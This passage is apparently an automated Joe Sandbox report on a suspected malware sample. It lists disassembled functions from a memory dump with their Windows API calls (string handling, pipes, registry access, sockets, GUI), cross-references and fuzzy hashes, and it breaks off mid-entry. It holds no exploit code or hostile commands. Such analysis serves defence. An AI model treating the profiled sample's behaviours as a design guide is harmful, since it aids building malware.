MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009A778F
SysAllocString.OLEAUT32(00000000), ref: 009A7792
SysAllocString.OLEAUT32(?), ref: 009A77B0
SysFreeString.OLEAUT32(?), ref: 009A77B9
StringFromGUID2.OLE32(?,?,00000028), ref: 009A77DE
SysAllocString.OLEAUT32(?), ref: 009A77EC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: fef3b4449bbadc6a4bbde1170c44266918300448e247744648d463048bd08b07
Instruction ID: fd67ee78e911a1a23bda0409041a560f56fb6f2bcf4f63266c4f269c3ed685b6
Opcode Fuzzy Hash: fef3b4449bbadc6a4bbde1170c44266918300448e247744648d463048bd08b07
Instruction Fuzzy Hash: D621C476609219AFDF10DFE8CC89DBBB3ACEB0A3647008526F904DB160D670DC85C7A0

Function 009A77FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009A7842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 009A7868
SysAllocString.OLEAUT32(00000000), ref: 009A786B
SysAllocString.OLEAUT32 ref: 009A788C
SysFreeString.OLEAUT32 ref: 009A7895
StringFromGUID2.OLE32(?,?,00000028), ref: 009A78AF
SysAllocString.OLEAUT32(?), ref: 009A78BD

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 41114f531ca8aa3d991a7e6b66193bfb3eadef50d70b7c5d71513b9a74ab1030
Instruction ID: e998253619810f919feaf50089dd2b69610638b8e37369df1ff42f5b467a6689
Opcode Fuzzy Hash: 41114f531ca8aa3d991a7e6b66193bfb3eadef50d70b7c5d71513b9a74ab1030
Instruction Fuzzy Hash: 90219071609205BFDB109FECDC89DAAB7ACEF0A3607108125F915CB2A5D678DC81DBA4

Function 009B04D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 009B04F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 009B052E

Strings

nul, xrefs: 009B0567

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 831b88b3800151aac4a0aeff1f10fcf4fdb2a204edd6135f3a466262bffcf42a
Instruction ID: 60f42d381bbc382387c3aae2c5df4982779af8b4a840c50528e56979ead85428
Opcode Fuzzy Hash: 831b88b3800151aac4a0aeff1f10fcf4fdb2a204edd6135f3a466262bffcf42a
Instruction Fuzzy Hash: 972151B5500305AFDB309F6ADD48A9B77A8BF84774F204A19F9A1D61E0D7B0D950DF20

Function 009B05A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 009B05C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 009B0601

Strings

nul, xrefs: 009B0639

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: bbd5988ad39b31ca82eb10d36c3de13f0c9c2115ba0ea8736f8fa2115c499f60
Instruction ID: 5555ae6129d989e9febf72e5f997a8dc2cdb1a9b4504b04b3ed26643615b0420
Opcode Fuzzy Hash: bbd5988ad39b31ca82eb10d36c3de13f0c9c2115ba0ea8736f8fa2115c499f60
Instruction Fuzzy Hash: E0216D75540206DBDB209F699904ADB77E8BFD5770F200B19F9A1E72E0D6B098A0CB10

Function 009D40AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0094600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0094604C
Part of subcall function 0094600E: GetStockObject.GDI32(00000011), ref: 00946060
Part of subcall function 0094600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0094606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 009D4112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 009D411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 009D412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 009D4139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 009D4145

Strings

Msctls_Progress32, xrefs: 009D40E3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: d8d5027ffe90bcfcc92ecc382475fc0a44257c893740fefe5f6b9f90a1995787
Instruction ID: 3d96b65dc0ed889a666fc746ded83930b0331dd49729fbc60e474ecab9befc34
Opcode Fuzzy Hash: d8d5027ffe90bcfcc92ecc382475fc0a44257c893740fefe5f6b9f90a1995787
Instruction Fuzzy Hash: 5A1193B1190119BFEF118E64CC85EE77F6DEF18798F008111B718A2190C6729C61DBA4

Function 0097D7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0097D7A3: _free.LIBCMT ref: 0097D7CC

_free.LIBCMT ref: 0097D82D

Part of subcall function 009729C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000), ref: 009729DE
Part of subcall function 009729C8: GetLastError.KERNEL32(00000000,?,0097D7D1,00000000,00000000,00000000,00000000,?,0097D7F8,00000000,00000007,00000000,?,0097DBF5,00000000,00000000), ref: 009729F0

_free.LIBCMT ref: 0097D838
_free.LIBCMT ref: 0097D843
_free.LIBCMT ref: 0097D897
_free.LIBCMT ref: 0097D8A2
_free.LIBCMT ref: 0097D8AD
_free.LIBCMT ref: 0097D8B8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: f1ca1309c00d26fde3a8e9d999a4b05ae2666b8433a1dbc71340a3486b79f6a2
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 8B1151B3542B04AAE521BFB4CC47FCBBBEC6FC0700F448825B29DA6092DA65B5454650

Function 009ADA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 009ADA74
LoadStringW.USER32(00000000), ref: 009ADA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 009ADA91
LoadStringW.USER32(00000000), ref: 009ADA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 009ADADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 009ADAB9

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HandleLoadModuleString$Message
String ID: %s (%d) : ==> %s: %s %s
API String ID: 4072794657-3128320259
Opcode ID: e65282bc830ab71be07fca66e40832e3572687190613dd630b3461aa38166d20
Instruction ID: 1acd326b74e93b421afde42024d205f17f870ca982fe59016b31f150975536fb
Opcode Fuzzy Hash: e65282bc830ab71be07fca66e40832e3572687190613dd630b3461aa38166d20
Instruction Fuzzy Hash: 9B0181F29542197FEB10ABE0DD89EEB336CEB09305F404992B746E2041EA749EC49F74

Function 009B096B Relevance: 10.5, APIs: 7, Instructions: 35synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(017FDB00,017FDB00), ref: 009B097B
EnterCriticalSection.KERNEL32(017FDAE0,00000000), ref: 009B098D
TerminateThread.KERNEL32(?,000001F6), ref: 009B099B
WaitForSingleObject.KERNEL32(?,000003E8), ref: 009B09A9
CloseHandle.KERNEL32(?), ref: 009B09B8
InterlockedExchange.KERNEL32(017FDB00,000001F6), ref: 009B09C8
LeaveCriticalSection.KERNEL32(017FDAE0), ref: 009B09CF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 102b60faa15029209367799d8580243ca07df7854a220c038fc4256541936ceb
Instruction ID: 6f1ce50878bf92d4829f795c7d61263d2be34519e006cc036c0ab72e24a5788e
Opcode Fuzzy Hash: 102b60faa15029209367799d8580243ca07df7854a220c038fc4256541936ceb
Instruction Fuzzy Hash: 63F0197249BA13ABD7515BA4EE88BD6BB29BF41752F402126F202908A0C77494A5DF90

Function 00945D0A Relevance: 9.3, APIs: 6, Instructions: 276COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00945D30
GetWindowRect.USER32(?,?), ref: 00945D71
ScreenToClient.USER32(?,?), ref: 00945D99
GetClientRect.USER32(?,?), ref: 00945ED7
GetWindowRect.USER32(?,?), ref: 00945EF8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: f6fbd937dc654918eab513bdde5f9970aff24c86040433598cfa6005b2671ebd
Instruction ID: 2ff5f89c1767496553ea1a2b3dc0d6cfb88126123186076c86135af8839f7be2
Opcode Fuzzy Hash: f6fbd937dc654918eab513bdde5f9970aff24c86040433598cfa6005b2671ebd
Instruction Fuzzy Hash: 38B18A74A0074AEBDB14DFA9C480BEEB7F5FF48310F14881AE8A9D7250DB34AA51DB54

Function 009701B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 009700BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009700D6
__allrem.LIBCMT ref: 009700ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0097010B
__allrem.LIBCMT ref: 00970122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00970140

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction ID: ccea05f44b400d8e2ef21c290fbfdd4dae4126d6c5e889cef3aa3470059d7890
Opcode Fuzzy Hash: c0aa086816e9a6b10c8594d9af3fc1b6618250ddc70608c46d0048b3e4fbc764
Instruction Fuzzy Hash: FA81E473A00706DBE724AF68DC52B6B73ADEFC1724F24853AF559D6681EB70D9008B50

Function 009C1D10 Relevance: 9.3, APIs: 6, Instructions: 254networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009C3149: select.WSOCK32(00000000,?,00000000,00000000,?,?,?,00000000,?,?,?,009C101C,00000000,?,?,00000000), ref: 009C3195

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 009C1DC0
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 009C1DE1
WSAGetLastError.WSOCK32 ref: 009C1DF2
inet_ntoa.WSOCK32(?), ref: 009C1E8C
htons.WSOCK32(?,?,?,?,?), ref: 009C1EDB
_strlen.LIBCMT ref: 009C1F35

Part of subcall function 009A39E8: _strlen.LIBCMT ref: 009A39F2

Part of subcall function 00946D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000002,?,?,?,?,0095CF58,?,?,?), ref: 00946DBA
Part of subcall function 00946D9E: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,?,?,?,0095CF58,?,?,?), ref: 00946DED

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide_strlen$ErrorLasthtonsinet_ntoaselect
String ID:
API String ID: 1923757996-0
Opcode ID: 3eb2daa092f8c9cbbcc10b8728204b3fb59ed0c01b27d3dd44d711327c70c45e
Instruction ID: 440d49c288ef28b34caf875a604d2c365075c72af504317d2bcaad4ab2f3b1c8
Opcode Fuzzy Hash: 3eb2daa092f8c9cbbcc10b8728204b3fb59ed0c01b27d3dd44d711327c70c45e
Instruction Fuzzy Hash: 7EA1BE71904340AFD324DF24C895F2ABBA9AFC6318F54894CF4565B2A3DB31ED46CB92

Function 009761FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,009682D9,009682D9,?,?,?,0097644F,00000001,00000001,8BE85006), ref: 00976258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0097644F,00000001,00000001,8BE85006,?,?,?), ref: 009762DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 009763D8
__freea.LIBCMT ref: 009763E5

Part of subcall function 00973820: RtlAllocateHeap.NTDLL(00000000,?,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6,?,00941129), ref: 00973852

__freea.LIBCMT ref: 009763EE
__freea.LIBCMT ref: 00976413

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: cfbc14b76dcdf120b1e1f303c668a1465d187233523f68030f094591e233ffb4
Instruction ID: ff0451a093e0caa30bafaf9495db4d4cdce6e0c80523d284e270f4373a0499c2
Opcode Fuzzy Hash: cfbc14b76dcdf120b1e1f303c668a1465d187233523f68030f094591e233ffb4
Instruction Fuzzy Hash: 2451CF73600A16ABEB258F64CC81FAF77A9EB84B50F158629FC09D6151EB34DC44D660

Function 009CBBDB Relevance: 9.2, APIs: 6, Instructions: 191registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

Part of subcall function 009CC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,009CB6AE,?,?), ref: 009CC9B5
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CC9F1
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA68
Part of subcall function 009CC998: _wcslen.LIBCMT ref: 009CCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 009CBCCA
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 009CBD25
RegCloseKey.ADVAPI32(00000000), ref: 009CBD6A
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 009CBD99
RegCloseKey.ADVAPI32(?,?,00000000), ref: 009CBDF3
RegCloseKey.ADVAPI32(?), ref: 009CBDFF

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 1120388591-0
Opcode ID: abdfbc82af7f609a8d09602feaa830377c7c97bce2b32b1dd21382704ecf67ac
Instruction ID: cc3e22a30e3bf2df2002e155c69947217bcd104a45bb7ff262d1e1ba4e4f0cce
Opcode Fuzzy Hash: abdfbc82af7f609a8d09602feaa830377c7c97bce2b32b1dd21382704ecf67ac
Instruction Fuzzy Hash: 5C819070518241AFC714DF24C896F2ABBE9FF84308F14895DF49A4B2A2DB31ED45CB92

Function 0099F7AD Relevance: 9.2, APIs: 6, Instructions: 183memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000035), ref: 0099F7B9
SysAllocString.OLEAUT32(00000001), ref: 0099F860
VariantCopy.OLEAUT32(0099FA64,00000000), ref: 0099F889
VariantClear.OLEAUT32(0099FA64), ref: 0099F8AD
VariantCopy.OLEAUT32(0099FA64,00000000), ref: 0099F8B1
VariantClear.OLEAUT32(?), ref: 0099F8BB

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Variant$ClearCopy$AllocInitString
String ID:
API String ID: 3859894641-0
Opcode ID: 570ea3edd253e5ae78b55b4f15e69d92d63b4a72d3df6f86f6818a2f59459ef1
Instruction ID: 0a6659997a4faa235156532ece7778eb12eb78eb4e3d35a728b294535efadc0f
Opcode Fuzzy Hash: 570ea3edd253e5ae78b55b4f15e69d92d63b4a72d3df6f86f6818a2f59459ef1
Instruction Fuzzy Hash: D651D635610310BACF24AF69D8A5B69F3A8EF85320F248867F906DF291DB74CC40C796

Function 009B910C Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 383COMMON

Download Yara Rule

APIs

Part of subcall function 00947620: _wcslen.LIBCMT ref: 00947625

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

GetOpenFileNameW.COMDLG32(00000058), ref: 009B94E5
_wcslen.LIBCMT ref: 009B9506
_wcslen.LIBCMT ref: 009B952D
GetSaveFileNameW.COMDLG32(00000058), ref: 009B9585

Strings

X, xrefs: 009B9412

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _wcslen$FileName$OpenSave
String ID: X
API String ID: 83654149-3081909835
Opcode ID: 6046b412b2b8544895e2373c53d95744a14f2f2bbffb43cf4b91a20f07c572db
Instruction ID: d73d253bb5cc3d05c65fb8590bf7129c983d98ad23ad87e75f47328752afbb2a
Opcode Fuzzy Hash: 6046b412b2b8544895e2373c53d95744a14f2f2bbffb43cf4b91a20f07c572db
Instruction Fuzzy Hash: A6E18B319183018FD724DF24C981FAAB7E4BF85324F04896DF9999B2A2DB31DD05CB92

Function 0095920C Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

BeginPaint.USER32(?,?,?), ref: 00959241
GetWindowRect.USER32(?,?), ref: 009592A5
ScreenToClient.USER32(?,?), ref: 009592C2
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 009592D3
EndPaint.USER32(?,?,?,?,?), ref: 00959321
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 009971EA

Part of subcall function 00959339: BeginPath.GDI32(00000000), ref: 00959357

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
